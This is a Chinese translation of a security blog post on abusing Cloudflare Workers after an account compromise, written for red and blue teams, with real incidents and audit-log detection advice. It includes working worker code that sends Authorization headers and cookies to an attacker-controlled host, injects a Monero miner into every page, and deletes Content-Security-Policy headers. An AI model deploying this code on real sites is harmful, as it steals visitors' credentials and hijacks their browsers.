边缘中间人攻击:滥用Cloudflare Workers
Cloudflare Workers 提供了一个强大的无服务器解决方案,用于在 HTTP 请求和响应之间运行代码。在本文中,我们将看到攻击者在入侵 Cloudflare 账户后如何滥用 Workers 来建立持久性并窃取敏感数据。
这里讨论的技术已在真实攻击中使用,但大多未被察觉。红队人员可以了解 Cloudflare Workers 的进攻用途,蓝队人员则可以了解为什么保护 Cloudflare 账户访问权限如此关键。
引言
需要明确的是:这不是 Cloudflare 或 Cloudflare Workers 的漏洞。Cloudflare 没有(甚至无法)采取任何措施。本文探讨了如何利用 Cloudflare Workers 的设计以及更广泛的“边缘无服务器计算”模型来实现攻击目的。
本文讨论的所有代码可在 GitHub 仓库 中找到。
Cloudflare Workers
Cloudflare Workers 允许在 Cloudflare 的边缘服务器上透明地部署无服务器代码,位于客户端和最终目标(“源站”)之间。它支持多种语言,如 JavaScript/TypeScript 或 Python。
Cloudflare Workers 对于以编程方式重写请求和响应非常有价值,例如:
- 如果网站不可用或正在部署,将用户重定向到维护页面。
- 在 HTML 响应中动态重写链接;例如,如果将 blog.christophetd.fr 移动到 christophetd.fr/blog/,并确保没有死链接。
- 在 REST API 响应中动态添加常见的安全头。
- 在边缘阻止使用旧 TLS 版本的请求,并显示网页要求用户使用更新的浏览器。
其使用相对简单。以下示例自动将 HTTP 请求从 /docs/latest 重定向到 /docs/v2.4:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
addEventListener('fetch', event => {
event.respondWith(handleRequest(event, event.request));
});
async function handleRequest(event, originalRequest) {
// Parse the request URL
const requestUrl = new URL(originalRequest.url);
if (requestUrl.pathname.startsWith("/docs/latest/")) {
// Redirect /docs/latest/ to /api/v2.4/
newUrl = originalRequest.url.replace("/docs/latest/", "/docs/v2.4/");
return Response.redirect(newUrl, 301);
}
else {
// Do nothing, just forward the original request
return fetch(originalRequest)
}
}
|
如你所见,Cloudflare Workers 通过设计提供了一种编程方式来透明地读取或重写 HTTP 请求和响应。在下一节中,我们将看到攻击者在入侵 Cloudflare 账户后如何滥用它。
滥用 Cloudflare Workers
假设我们是一名攻击者,刚刚入侵了一个 Cloudflare 账户。首先,Cloudflare 仅向其企业客户提供仪表板单点登录(SSO),因此可以合理预期,在其 15.4 万+客户(不包括免费账户)中,有数千个账户使用共享的、长期有效的密码。此外,过去也有报告称,Cloudflare 的漏洞被用于窃取 API 密钥(这里 和 这里)。最后,Cloudflare API 密钥是静态的、长期有效的凭据,很容易意外泄露。
回到我们的攻击者——我们首先看到的是受害者通过 Cloudflare 代理的网站:

通常情况下,Cloudflare 被设置为将进入 somewhereinthe.cloud 的请求代理到第三方源站:

在场景设定好后,让我们深入探讨如何作为攻击者利用 Cloudflare Workers 来实现我们的目标!
创建恶意 Cloudflare Worker
我们首先创建一个普通的 Worker,目前除了位于 HTTP 请求和响应之间外,不会做任何事情。
worker.js
1
2
3
4
5
6
7
8
|
addEventListener('fetch', event => {
event.respondWith(handleRequest(event, event.request));
});
async function handleRequest(event, request) {
// Proxy the request
return fetch(request);
}
|
wrangler.toml
1
2
|
name = "my-malicious-worker"
compatibility_date = "2022-06-24"
|
然后,我们使用 Cloudflare wrangler CLI 将其部署到 Cloudflare:
1
2
3
4
5
6
7
|
$ wrangler publish worker.js
wrangler 2.0.15
--------------------
Total Upload: 0.51 KiB / gzip: 0.29 KiB
Uploaded my-malicious-worker (2.11 sec)
Published my-malicious-worker (1.73 sec)
my-malicious-worker.christophetd.workers.dev
|
我们的 Worker 现已部署,但尚未代理流量。为此,我们将其与目标区域的 DNS 条目关联,或添加“路由”触发器。
- 通过新的 DNS 记录触发 Cloudflare Worker
- 通过路由模式触发 Cloudflare Worker
或者,我们可以使用 Cloudflare API:
1
2
3
4
5
|
curl -X POST "https://api.cloudflare.com/client/v4/zones/<zone-id>/workers/routes" \
-H "X-Auth-Email: $CF_EMAIL" \
-H "X-Auth-Key: $CF_API_KEY" \
-H "Content-Type: application/json" \
--data '{"pattern":"*somewhereinthe.cloud/*","script":"my-malicious-worker"}'
|
现在我们有了“中间人 Worker”,让我们看看一些对攻击者有用的用例。
窃取授权令牌
客户端发送的 Authorization HTTP 头通常包含凭据,如 OAuth 令牌、JWT 或 API 密钥。当 HTTP 请求中设置了 Authorization 头时,让我们窃取它并将其发送到攻击者控制的远程服务器。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
async function handleRequest(event, request) {
await stealAuthorizationHeader(request);
return fetch(request);
}
async function stealAuthorizationHeader(request) {
const authz = request.headers.get("Authorization")
if (authz) {
await log(`authorization header: ${authz}`)
}
}
async function log(data) {
// Send arbitrary data to a remote, attacker-controlled server
await fetch("http://46.101.191.103.nip.io/log/" + btoa(data));
}
|
在第一个包含 Authorization 头的 HTTP 请求上,攻击者控制的服务器将收到:
1
|
authorization header: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJuYW1lIjoiUmljayBBc3RsZXkiLCJnaXZlc1lvdVVwIjpmYWxzZSwibGV0c1lvdURvd24iOmZhbHNlLCJ0ZWxsc0xpZXMiOmZhbHNlfQ
|
窃取 Cookie
Cookie 也非常有价值,因为它们通常是会话标识符,可用于冒充任何用户的身份。它们最初由服务器设置(HTTP 响应中的 Set-Cookie 头),然后由客户端发送回来(HTTP 请求中的 Cookie 头)。让我们窃取两者:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
async function handleRequest(event, request) {
await stealAuthorizationHeader(request);
response = await fetch(request);
await stealCookies(request, response);
return response;
}
async function stealCookies(request, response) {
cookies = response.headers.get("Set-Cookie")
if (cookies) {
await log(`cookies sent by server: ${cookies}`);
}
cookies = request.headers.get("Cookie")
if (cookies) {
await log(`cookies sent by client: ${cookies}`);
}
}
|
攻击者输出示例:
1
2
|
cookies sent by server: sessionId=3f0cff1d3cc4642e15835d7304d453cc; Max-Age=2592000; Secure; Path=/; Domain=somewhereinthe.cloud
cookies sent by client: cf_use_ob=0; sessionId=3f0cff1d3cc4642e15835d7304d453cc
|
注入恶意 JavaScript 代码
窃取敏感数据很好,但在网站服务的每个页面中注入一个挖矿程序怎么样?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
async function injectMaliciousScript(originalResponse) {
// Only inject our script in HTML responses
if (!originalResponse.headers.get("Content-Type").includes("html")) {
return originalResponse;
}
originalHtml = await originalResponse.text();
// Malicious script to inject
const script = `
<script src="https://monerominer.rocks/miner-mmr/webmnr.min.js"></script>
<script>
server = "wss://f.xmrminingproxy.com:8181";
var pool = "moneroocean.stream";
var walletAddress = "PUT YOUR WALLET ADDRESS HERE";
var workerId = ""
var threads = -1;
var password = "x";
startMining(pool, walletAddress, workerId, threads, password);
throttleMiner = 20;
</script>
`
modifiedHtml = originalHtml.replace("</body>", script + "</body>")
modifiedResponse = new Response(modifiedHtml, originalResponse)
return modifiedResponse
}
|
如果受害者网站有一个强大的内容安全策略(CSP)阻止内联或不受信任的脚本怎么办?我们是中间人,所以我们可以简单地删除 Content-Security-Policy 头!
1
2
3
4
5
6
7
8
9
10
11
|
async function injectMaliciousScript(originalResponse) {
// ...
modifiedResponse = new Response(modifiedHtml, originalResponse)
// Get rid of any annoying content security policy that would block our script
if (modifiedResponse.headers.get("Content-Security-Policy")) {
modifiedResponse.headers.delete("Content-Security-Policy")
}
return modifiedResponse
}
|
插图:在所有响应中透明注入的恶意 JavaScript 负载
其他潜在滥用
- 选择性目标:根据客户端 IP 或平台表现不同。例如,如果用户代理与搜索引擎匹配,则不注入任何恶意内容。
- 钓鱼:透明地代理请求到合法网站,动态重写响应链接并窃取凭据(包括 2FA 令牌)。
- 重写支付信息:等待响应中看起来像 IBAN 或加密货币地址的内容,并将其替换为攻击者拥有的地址。
真实世界中的记录使用
攻击者滥用 Cloudflare Workers 动态重写 HTTP 响应的情况在两次真实事件中有记录。
2021 年 12 月,攻击者入侵了 Badger 的 Cloudflare API 密钥。然后,引用 Badger 自己的事后分析:
11 月 10 日,攻击者开始使用其 API 访问权限通过 Cloudflare Workers 将恶意脚本注入 app.badger.com 的 HTML 中。该脚本拦截 web3 交易,并提示用户允许一个外部地址操作其钱包中的 ERC-20 令牌。
2020 年,Sucuri 报告称,韩国攻击者使用 Cloudflare Worker 在请求者是搜索引擎时动态向网页添加链接。目标是进行 SEO 垃圾邮件并提高第三方网站的声誉。

检测 Cloudflare 账户中的恶意活动
Cloudflare 提供其控制平面的审计日志,可用于识别可疑活动。当创建新 Worker 时,它会生成类型为 script_create 的事件。
当有人将 Worker 绑定到路由(route_create)或创建指向 Worker 的 DNS 记录(rec_add)时,它也会生成事件。
更一般地,Cloudflare 提供了几种事件类型,可用于检测潜在的恶意活动,总结在下表中。您还可以在配套的 GitHub 仓库中找到示例事件日志。
| 事件 |
事件代码 |
| 创建了新 Worker |
script_create |
| Worker 被绑定到路由 |
route_create |
| 创建了 DNS 记录 |
rec_add |
| 用户 API 令牌被创建(和查看) |
token_create |
| 用户 API 令牌被轮换(和查看) |
token_roll |
| 账户范围的 API 令牌被查看 |
API_key_view |
| 成功登录 Cloudflare 仪表板 |
login |
如果您有 Cloudflare Enterprise 计划(来源),您可以使用各种集成将这些审计日志发送到您选择的 SIEM 或日志管理平台。否则,您可以从仪表板和 API 查看这些日志。
攻击者滥用 Cloudflare Workers 的其他方式
攻击者多年来还一直滥用 Cloudflare Workers 作为分层命令和控制(C2)基础设施的代理,或作为托管钓鱼页面的简单方式。
- 恶意软件:Cloudfall、Blackwater、Astaroth
- 攻击者组织:APT41、SparkingGoblin
- 钓鱼:Microsoft、Yahoo、UPS、Adobe、Paypal、AT&T、…
结论
攻击者将继续利用 Cloudflare Workers 实现恶意目标,正如他们在过去几年中对钓鱼和 C2 基础设施所做的那样。他们可能会更频繁地使用 Workers 的核心功能来注入恶意 JavaScript 负载并窃取敏感数据。与此同时,蓝队有望确保其 Cloudflare 账户得到适当保护并监控可疑活动。
感谢阅读,让我们在 Twitter 上继续讨论!
Christophe
Post Views: 21,162